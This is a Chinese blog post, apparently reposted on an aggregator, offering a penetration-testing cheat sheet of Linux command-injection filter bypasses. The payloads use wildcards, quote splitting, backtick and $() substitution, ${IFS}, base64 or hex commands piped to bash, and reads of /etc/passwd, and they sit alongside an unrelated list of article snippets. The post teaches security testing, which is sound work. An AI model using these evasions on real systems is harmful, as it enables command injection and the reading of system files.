Linux下的命令执行绕过技巧合集(渗透测试专用)

news/2024/4/19 13:25:38/文章来源:https://blog.csdn.net/Thunderclap_/article/details/129178221

一、通配符

  • * 代表『0个到无穷多个』任意字符,包括空字符

  • ? 代表『一定有一个』任意字符

  • [ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』

  • [ - ]若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表0到9之间的所有数字,因为数字的语系编码是连续的!

  • [ ^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

  • { } 和[ ]的区别是如果匹配的文件不存在,[ ]会失去模式的功能,变成一个单纯的字符串,而{ }依然可以展开。

利用方法:

  • 举例:/?in/cat /?tc/p?sswd //这个就相当于寻找/bin/cat /etc/passwd

  • /?in/[l][^dnpqrtuvwxyz] -l //这个就相当于/bin/ls -l ;其中[^dnpqrtuvwxyz]意思就是有这么一个字符,但是排除括号里这些。

  • /?in/[l][r-t] -l //这个就相当于/bin/ls -l;其中[r-t]意思是在r-t中进行选择,也就是从r s t 这三个中进行选择。

  • /bi?/ca[s-u] /etc/pass* //这个就相当于/bin/cat /etc/passwd ;其中/etc/pass*中的*代表一个或多个字符,它匹配到的为passwd。

二、连接符

1、单引号

  • 你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则

  • 例如e'c'ho h'e'l'lo' //其中要注意前后的闭合;

  • 例如 读取/etc/passdw : /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

2、双引号

  • 和单引号一样,同样要注意前后的闭合。

  • 例如 /"b"i"n"/"w"h"i"c"h" "n"c //其中要注意前后的闭合;

3、反斜杠

  • 举例:/b\i\n/w\h\i\c\h n\c

4、特殊连接符反引号 ` ` //反引号中间的字符会被当作命令执行

  • 举例:666`whoami`666 666`\whoami`666 //命令执行后的结果在2个666中间

  • `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令

  • 举例:w`\666`ho`\666`am`\666`i //反引号中的执行完拼接到一起再执行

遇到的情况:

遇到命令执行的漏洞,其中拼接了字符串但是前后加上了"" 双引号,并且过滤器过滤了双引号导致不能够闭合,则可以通过在反引号中添加要执行的命令拼接上,即可以先执行反引号中的内容,在拼接到原来命令种

比如:原命令是/bin/bash -c echo "123 keyword" 其中keyword可控,因为双引号被过滤 我们无法直接通过双引号闭合,所以可以通过反引号绕过:

keyword = `touch /tmp/success`

那么命令就成了:/bin/bash -c echo "123 `touch /tmp/success`"

这样就可以先执行touch /tmp/success,然后再执行echo 123

5、特殊连接符$( ) //$( )里面的字符会被当作命令执行

  • 举例:wh$(666)oa$(777)mi //$( )里面的内容先进行执行,再拼接到一起执行。

三、未初始化的bash变量

1、自定义未初始化的变量合并利用

  • 使用$*和$@,$x(x代表1-9),${x}(x>=10) 没有传参的情况下默认为空值$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1-$8同理

  • 在bash环境下允许我们使用未初始化的bash变量,如下:

a=wh
b=oami
$a$b
root   //输出

2、默认下未定义的变量为空值,绕过过滤

  • 举例:$s/bin$s/which$s nc$s //这里的$s默认为空值,所以不会影响输出,实际仍然为/bin/which nc

3、默认变量

  • $PS2代替>

  • $PS4代替+

四、切割字符串

1、利用和Windows基本一致

  • 首先echo ${PATH} //查看我们的PATH路径

  • 判断长度echo ${#PATH} //查看我们PATH的长度

  • 确定要截取的长度echo ${PATH:61:6}

2、综合利用

  • 通过PATH中的字符串进行查找拼接

  • 先通过echo ${PATH}查看PATH的路径信息

  • 如需要查看whoami命令,根据PATH路径查找指定的字符:wh${PATH:6:1}${PATH:8:1}m${PATH:12:1}

五、特殊绕过(绕过空格过滤)

1、利用大花括号 { } 绕过

  • 在linux下我们还可以使用大花括号来绕过空格的限制

  • 举例:ls -alt命令中间的空格:{ls,-alt}

2、重定向符号绕过

  • 我们还可以使用<>来绕过空格。

  • linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备

  • 大于号>输出重定向,比如一条命令,默认是将结果输出到屏幕。

  • 但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

  • 举例:ls<>alt

  • 举例:cat<>1.txt cat<1.txt

3、Linux中特殊编码base64编码

  • 我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

举例:

echo whoami|base64                            //先输出whoami的base64编码`echo d2hvYW1pCg==|base64 -d`                 //将其base64解码
echo "d2hvYW1pCg==" | base64 -d | bash        //将base64解码后的命令通过管道符传递给bash

4、进制转换

  • 16进制

  • 举例:网站查询cat ./1.txt十六进制为0x636174202e2f312e747874

  • 网址为:https://www.sojson.com/hexadecimal.html

  • 第一种方式:然后命令为echo "0x636174202e2f312e747874" |xxd -r -p |bash 其中xxd为二进制查看命令,-r为逆向转换。

  • 第二种方式:$(printf "\x63\x61\x74\x20\x2e\x2f\x31\x2e\x74\x78\x74")

  • '\x3b'代替; 十六进制代替

5、%09(需要PHP环境)

  • php环境下web输入%09等效于空格

6、特殊变量${IFS} 或者 $IFS

  • 还有${IFS}是内部字段分隔符的缩写。可以当做空格来使用

  • $IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名。同理在后面加个$可以起到截断的作用。

  • 举例:cat /etc/passwd中间的空格:cat${IFS}/etc/passwd cat$IFS/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_73205.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(考研湖科大教书匠计算机网络)第六章应用层-第五节:文件传送协议FTP

获取pdf&#xff1a;密码7281专栏目录首页&#xff1a;【专栏必读】考研湖科大教书匠计算机网络笔记导航 文章目录一&#xff1a;概述二&#xff1a;工作原理三&#xff1a;控制连接与数据连接本节对应视频如下 【计算机网络微课堂&#xff08;有字幕无背景音乐版&#xff09;】…

求职3个月,简历大多都石沉大海,一听是手工测试都纷纷摇头....太难了

距离被上家公司裁员已经过去了3个月了&#xff0c;3个月的求职经历真的让我痛不欲生&#xff0c;我也从中理解感叹到了很多&#xff0c;想写出来&#xff0c;告诫跟我一样的经历的人。 我今年26岁&#xff0c;大学是一所普通的大专&#xff0c;学的是机电专业&#xff0c;如何…

Python自动化测试框架封装和调用

封装与调用函数与参数化前言 面实现了参数的关联&#xff0c;那种只是记流水账的完成功能&#xff0c;不便于维护&#xff0c;也没什么可读性&#xff0c;接下来这篇可以把每一个动作写成一个函数&#xff0c;这样更方便了。参数化的思维只需记住一点&#xff1a;不要写死 登录…

类与对象(this 关键字、构造器)

目录一、面向对象二、类与对象三、对象内存图四、成员变量和局部变量区别五、this关键字六、构造器/构造方法一、面向对象 一种编程思想:也就是说我们要以何种思路&#xff0c;解决问题&#xff0c;以何种形式组织代码 当解决一个问题的时候&#xff0c;面向对象会把事物抽象成…

分享app的测试技巧

前言 今天笔者想和大家来唠唠app测试&#xff0c;现在的app有非常的多&#xff0c;这些app都是需要经过测试之后才能发布到应用市场中&#xff0c;app已经成为了我们日常生活中不可或缺的一部分了&#xff0c;但它的功能必须强大&#xff0c;才能受到消费者的重视&#xff0c;…

已解决from cryptography.hazmat.backends import default_backend导包错误

已解决Python连接FTPS抛出异常&#xff1a;CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography. The next release of cryptography (40.0) will be the last to support …

pyaudio声卡信息中hostApi是什么意思?

hostApi是声卡驱动协议&#xff0c;声卡驱动模式&#xff0c;有如下很多类。下面的类型是网上找的PortAudio的类&#xff0c;不不确定是不是python的。typedef enum PaHostApiTypeId{paInDevelopment0, /* use while developing support for a new host API */paDirectSound1,p…

深度学习之“制作自定义数据”--torch.utils.data.DataLoader重写构造方法。

深度学习之“制作自定义数据”–torch.utils.data.DataLoader重写构造方法。 前言&#xff1a; ​ 本文讲述重写torch.utils.data.DataLoader类的构造方法&#xff0c;对自定义图片制作类似MNIST数据集格式&#xff08;image, label&#xff09;&#xff0c;用于自己的Pytorc…

推荐系统从入门到入门(3)——基于MapReuduce与Spark的分布式推荐系统构建

本系列博客总结了不同框架、不同算法、不同界面的推荐系统&#xff0c;完整阅读需要大量时间&#xff08;又臭又长&#xff09;&#xff0c;建议根据目录选择需要的内容查看&#xff0c;欢迎讨论与指出问题。 目录 系列文章梗概 系列文章目录 三、MapReduce 1.MapReduce详…

【视频】海康摄像头、NVR网络协议简介

1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP:进行设备的发现、激活、修改网络参数、忘记密码等; SDK:4200、系统平台的接入前端设备,协议不对外开放,但对外提供接口库; ISAPI:Intelligent Security API(智能安全API),基于HTTP传输…

2023新的一年软件测试还值得学习吗?

最近因为疫情等各种原因&#xff0c;大厂裁员&#xff0c;失业等等频频受到关注。不解释&#xff0c;确实存在&#xff0c;各行各业都很难&#xff0c;但是&#xff0c;说软件测试行业不吃香&#xff0c;我还真不认同&#xff08;不是为培训机构说好话&#xff0c;大环境不好&a…

Odoo丨Odoo框架源码研读三:异常处理与定制化开发

Odoo丨Odoo框架源码研读三&#xff1a;异常处理与定制化开发 Odoo源码研读的第三期内容&#xff1a;异常处理与定制化开发。 *异常处理* Odoo中的Exception是对Python内置异常做了继承和封装&#xff0c;设定了自己核心的几个Exception。 而对异常的处理和Python内置异常的…

Spring 之bean的生命周期

文章目录IOCBean的生命周期运行结果实例演示实体类实例化前后置代码初始化的前后置代码application.xml总结今天我们来聊一下Spring Bean的生命周期&#xff0c;这是一个非常重要的问题&#xff0c;Spring Bean的生命周期也是比较复杂的。IOC IOC&#xff0c;控制反转概念需要…

Flutter+【三棵树】

定义 在Flutter中和Widgets一起协同工作的还有另外两个伙伴&#xff1a;Elements和RenderObjects&#xff1b;由于它们都是有着树形结构&#xff0c;所以经常会称它们为三棵树。 这三棵树分别是&#xff1a;Widget、Element、RenderObject Widget树&#xff1a;寄存烘托内容…

SigmaPlot科学绘图工具:ROC曲线分析及AUC组间差异的显著性分析

目的 初步使用SigmaPlot科学绘图工具&#xff1b;进行ROC曲线绘制并分析检验变量AUC组间差异性是否显著 软件下载及安装 SigmaPlot下载安装按照这个教程即可&#xff1a;https://www.hhkxxw.com/24799.html 快速通道&#xff1a;SigmaPlot下载链接&#xff1a;百度网盘链接…

DC220V冲击继电器RCJ-3

系列型号 RCJ-2型冲击继电器&#xff1b; RCJ-2/48VDC冲击继电器 RCJ-2/110VDC冲击继电器 RCJ-2/220VDC冲击继电器 RCJ-2/100VAC冲击继电器 RCJ-2/127VAC冲击继电器 RCJ-2/220VAC冲击继电器 RCJ-3/220VAC冲击继电器 RCJ-3型冲击继电器 RCJ-3/127VAC冲击继电器 RCJ-3/100VAC冲…

FastCGI sent in stderr: "PHP message: PHP Fatal error

服务器php7.2卸载安装7.4之后,打开网站一直无法访问,查看nginx错误日志发现一直报这个错误:2023/02/23 11:12:55 [error] 4735#0: *21 FastCGI sent in stderr: &#xff02;PHP message: PHP Fatal error: Uncaught ReflectionException: Class translator does not exist in …

Python四大主题之一【 Web】 编程框架

目前Python的网络编程框架已经多达几十个&#xff0c;逐个学习它们显然不现实。但这些框架在系统架构和运行环境中有很多共通之处&#xff0c;本文带领读者学习基于Python网络框架开发的常用知识,及目前的4种主流Python网络框架&#xff1a;Django、Tornado、Flask、Twisted。 …

100%BIM学员的疑惑:不会CAD可以学Revit吗?

在新一轮科技创新和产业变革中&#xff0c;信息化与建筑业的融合发展已成为建筑业发展的方向&#xff0c;将对建筑业发展带来战略性和全局性的影响。 建筑业是传统产业&#xff0c;推动建筑业科技创新&#xff0c;加快推进信息化发展&#xff0c;激发创新活力&#xff0c;培育…

web客户端-websocket

1、websocket简介 WebSocket是HTML5开始提供的一种在单个TCP连接上进行全双工通讯的协议。 WebSocket使得客户端和服务器之间的数据交换变得更加简单&#xff0c;允许服务端主动向客户端推送数据。在WebSocket API中&#xff0c;浏览器和服务器只需要完成一次握手&#xff0c…